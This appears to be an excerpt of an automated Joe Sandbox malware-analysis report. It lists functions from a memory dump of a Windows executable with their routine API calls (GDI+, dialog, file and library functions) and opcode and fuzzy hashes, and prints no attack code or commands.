Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: 509a2569787d860eea6850cff39dc2664e812ce81610386efb572f3d81f5e02d
Instruction ID: 8db4bf306f9abcedbe0bfcc8a096757f4e3be70b1ef5acf3c1f43c2ca249a630
Opcode Fuzzy Hash: 509a2569787d860eea6850cff39dc2664e812ce81610386efb572f3d81f5e02d
Instruction Fuzzy Hash: B7E092722402096BEB015B61CC45FDA379DBB083C6F444021BA45E20D1EB64EDC99A50

Function 00E1BD81 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00E3380F,000000FF), ref: 00E1BDB5
CoUninitialize.COMBASE(?,?,?,?,00E3380F,000000FF), ref: 00E1BDBA

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: f2cf90d6c0202ee06c48bb8d08b57ba26595d9bb8e1c46072b57a3de26f9dc42
Instruction ID: a820b633ea0f4a9579b59b2937cf3b5ec6777226b477724bf44653d56d030930
Opcode Fuzzy Hash: f2cf90d6c0202ee06c48bb8d08b57ba26595d9bb8e1c46072b57a3de26f9dc42
Instruction Fuzzy Hash: 69E06572604A54EFC7109B59DC05B4AFFA9FB89B20F144366F415A37A0CB746801CA90

Function 00E1F002 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00E1F02C

Part of subcall function 00E04A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E04A33

SetDlgItemTextW.USER32(00000065,?), ref: 00E1F043

Part of subcall function 00E1C758: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00E1C769
Part of subcall function 00E1C758: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00E1C77A
Part of subcall function 00E1C758: IsDialogMessageW.USER32(000104FE,?), ref: 00E1C78E
Part of subcall function 00E1C758: TranslateMessage.USER32(?), ref: 00E1C79C
Part of subcall function 00E1C758: DispatchMessageW.USER32(?), ref: 00E1C7A6

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: 1703a72c14de6fc80d62de52523b0eb825a14d7db6ab1bf74b8f18b654c2f90c
Instruction ID: 1ffa22ebdcd06c7cf1e36a917f99d05c4f73c1e2a156fb837c538e74f77dcacd
Opcode Fuzzy Hash: 1703a72c14de6fc80d62de52523b0eb825a14d7db6ab1bf74b8f18b654c2f90c
Instruction Fuzzy Hash: 67E09BB65542483ADF0167A5DC0AFEE36EC5B053C9F480461F241B60E2D6B495558B62

Function 00E0B4D3 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,00E0B4CA,?,00E08042,?), ref: 00E0B4E4

Part of subcall function 00E0CF32: _wcslen.LIBCMT ref: 00E0CF56

GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,?,00E0B4CA,?,00E08042,?), ref: 00E0B510

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 0c22bf478a4fe3178e7596f5148071d5607e436742c6e214143cac740c85de64
Instruction ID: d7b6255020e2e4e08e8e38b6c4b469217ce1636fd549055f1077e96758707c33
Opcode Fuzzy Hash: 0c22bf478a4fe3178e7596f5148071d5607e436742c6e214143cac740c85de64
Instruction Fuzzy Hash: 0CE092716002286BCB20AB64DC08BD97B99FB093E5F0102A0FE45F31D5D770AD859AD0

Function 00E11B3B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00E11B56
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00E1063A,Crypt32.dll,00000000,00E106B4,00000200,?,00E10697,00000000,00000000,?), ref: 00E11B78

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 787e1a9bdaf2fbda60db62d6bfbde9477a2d98413cad013e92f69f88bfe2f998
Instruction ID: 4c42dd8345b429dc990ef28e311eba36d41574adbd22c7cd0b484531462d6983
Opcode Fuzzy Hash: 787e1a9bdaf2fbda60db62d6bfbde9477a2d98413cad013e92f69f88bfe2f998
Instruction Fuzzy Hash: 84E012B650412C6ADB1197A59C48FDA7BACEF093C1F040065B649E2084DA74EA84CBB0

Function 00E1B3C8 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00E1B3E9
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00E1B3F0

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: cd81ec47ff2d6d283092075d2221ae56dd1a152581b117913d3db51ab1a66ba8
Instruction ID: b3f9c3da8516bd73676771d6739d1c1ed45da46081433dd2be8e73a8ee82104b
Opcode Fuzzy Hash: cd81ec47ff2d6d283092075d2221ae56dd1a152581b117913d3db51ab1a66ba8
Instruction Fuzzy Hash: E8E0ED71500218EBCB10EF99C5457E9B7E8EB08354F20906EE896A3600D3B4AE849B91

Function 00E23D1C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00E23D3A
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00E23D45

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: d8bc19261510ba1c13cb4367d5e5eca1ad2511de4f719c77ffb3dae32cd84196
Instruction ID: b6bd95279cc0b748e7d889deb0f59b88c17ce2a0a609c9edfce04ed6e3a05d95
Opcode Fuzzy Hash: d8bc19261510ba1c13cb4367d5e5eca1ad2511de4f719c77ffb3dae32cd84196
Instruction Fuzzy Hash: 70D022B964873218DC0432783C0348953C4AD12BB87B03A46E220BE0C1EE3C86066C33

Function 00E012D1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00E012E6
ShowWindow.USER32(00000000), ref: 00E012ED

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 976f94391ce89505077fbf06f0f0648b71b583bb68214bcc83e0d842543d2157
Instruction ID: 5924ceb4b90193433ff863f005a51cdacb4c318e10224c9dc0fb604aefa55660
Opcode Fuzzy Hash: 976f94391ce89505077fbf06f0f0648b71b583bb68214bcc83e0d842543d2157
Instruction Fuzzy Hash: 91C01233259A00BECB010BB1EC09E2BBFA8ABA6222F10CA08F0A6D1060C279C014DB11

Function 00E01AD3 Relevance: 1.8, APIs: 1, Instructions: 319COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E01AD8

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 59ff7725d88526979bb1b7b3f17c600adc333e5f33105ec996764924ddc858f0
Instruction ID: ad5ea5923aec22bd54c58b73a9593f16454b11dccd2b88b4fccc468b4dd4c530
Opcode Fuzzy Hash: 59ff7725d88526979bb1b7b3f17c600adc333e5f33105ec996764924ddc858f0
Instruction Fuzzy Hash: E6C18F70A002559BEF29CF28C4C47AD7BA5AF46314F1821E9EC05BF2D6C731DA84CB61

Function 00E042F1 Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E042F6

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: f456f3ed492e07dc0efe919136d1b2151e95aa2af4f34f226a58e2fc7fb3a331
Instruction ID: be6a89e5293ef1ea21be063dd2a324df5091b40a1ded01200c798262e43ef7b6
Opcode Fuzzy Hash: f456f3ed492e07dc0efe919136d1b2151e95aa2af4f34f226a58e2fc7fb3a331
Instruction Fuzzy Hash: B971A1F1504B859FCB25EB74D951AEBB7E8BF15300F04292EE2AB621C1DB747A84CB11

Function 00E090A2 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E090A7

Part of subcall function 00E013F8: __EH_prolog.LIBCMT ref: 00E013FD

Part of subcall function 00E02032: __EH_prolog.LIBCMT ref: 00E02037

Part of subcall function 00E0B966: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00E0B991

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: ce2dc534fbac175075f972685006c55f21c6cec520318d970803091186909099
Instruction ID: 7e57951e5deeddd0f4d52aaeeb91107181debd3489777413ae707d8129a2d1eb
Opcode Fuzzy Hash: ce2dc534fbac175075f972685006c55f21c6cec520318d970803091186909099
Instruction Fuzzy Hash: D44172719042545ADB24DB60D8A5AEA73B9AF10344F4414EAF58A770D3DB756FC8CF10

Function 00E013FD Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E013FD

Part of subcall function 00E06891: __EH_prolog.LIBCMT ref: 00E06896

Part of subcall function 00E0E298: __EH_prolog.LIBCMT ref: 00E0E29D

Part of subcall function 00E0644D: __EH_prolog.LIBCMT ref: 00E06452

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: ebfe030e587227be56865fb1de6eb3da4f45397420bb5448d76fb842e1086059
Instruction ID: c2cc68be49ad78d64cbceb01e241695a9a0c0c846fe55a706057c4d83b2534a6
Opcode Fuzzy Hash: ebfe030e587227be56865fb1de6eb3da4f45397420bb5448d76fb842e1086059
Instruction Fuzzy Hash: DF5134B1A063808ECB14DF6994802D9BBE5AF59300F0812BEEC5DDF69BD7715254CBA2

Function 00E013F8 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E013FD

Part of subcall function 00E06891: __EH_prolog.LIBCMT ref: 00E06896

Part of subcall function 00E0E298: __EH_prolog.LIBCMT ref: 00E0E29D

Part of subcall function 00E0644D: __EH_prolog.LIBCMT ref: 00E06452

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2028518ed98de06a89dcb714191bf65b553b94dacd29cfcd77e69fc047928219
Instruction ID: ee8f9bc185c55905fdea6a9e9fe59fd29097a4b9e3a9dab68e85bfb6d6275beb
Opcode Fuzzy Hash: 2028518ed98de06a89dcb714191bf65b553b94dacd29cfcd77e69fc047928219
Instruction Fuzzy Hash: 5F5133B19063808ECB14DF6994802D9BBE5BF59300F0812BEEC5DEF69BD7711254CBA2

Function 00E147AD Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E147B2

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a6269b82852c537e3060e1a7bd916805613b353c118b795786d71438db466d00
Instruction ID: eaa9153cf9387bdee9c8510471519f231aa5d5e73fa439bed2b24d8ad62fcb72
Opcode Fuzzy Hash: a6269b82852c537e3060e1a7bd916805613b353c118b795786d71438db466d00
Instruction Fuzzy Hash: F421E4F1E41621AFDB14DF74DC4169BB6A8FB14314F14263AE506FB7C2E3709A50C6A8

Function 00E1C217 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E1C21C

Part of subcall function 00E013F8: __EH_prolog.LIBCMT ref: 00E013FD

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2cf8e84b9fa0d075e0d294ef07aa5ed72a5f61bcd8174c90b0e093c2a6067e95
Instruction ID: 83640bf5a59584fa4f518e2e3e4e8db622fe1f18d884334ed3c899ffabaa4422
Opcode Fuzzy Hash: 2cf8e84b9fa0d075e0d294ef07aa5ed72a5f61bcd8174c90b0e093c2a6067e95
Instruction Fuzzy Hash: C2218E71D04219AFCF15DF94D8419EEBBB4FF45304F1010AEE805B7251D7756A85DB60

Function 00E2BE58 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,00E34ADC), ref: 00E2BEB8

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 5bfcf2e6cabb6ab6360e9c7d0f5ef880623bfe273d2c572c28413275c2395cad
Instruction ID: 1858ba5b23fb861c54ac963b98da30d95d94603e152787f10956a4bb46357f93
Opcode Fuzzy Hash: 5bfcf2e6cabb6ab6360e9c7d0f5ef880623bfe273d2c572c28413275c2395cad
Instruction Fuzzy Hash: FB11E337A0053D5F9B25AE29FC408DB73A5AB813247176221FF15BB654DB30EC068AD1

Function 00E0A475 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E0A47A

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a76a7075995bd756b9d406f21a6a33161d3f95e76009c670d2351634dadcb740
Instruction ID: 186911db50dff5f85153d32f5ede2b26359f067fd0ca53270c46aa2f1e3484d6
Opcode Fuzzy Hash: a76a7075995bd756b9d406f21a6a33161d3f95e76009c670d2351634dadcb740
Instruction Fuzzy Hash: E11106379006299BCB25EF68C885AFEB7B4AF84710F055539F825B7382DB748C808791

Function 00E1EBA2 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E1EBA7

Part of subcall function 00E11983: _wcslen.LIBCMT ref: 00E11999

Part of subcall function 00E08823: __EH_prolog.LIBCMT ref: 00E08828

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

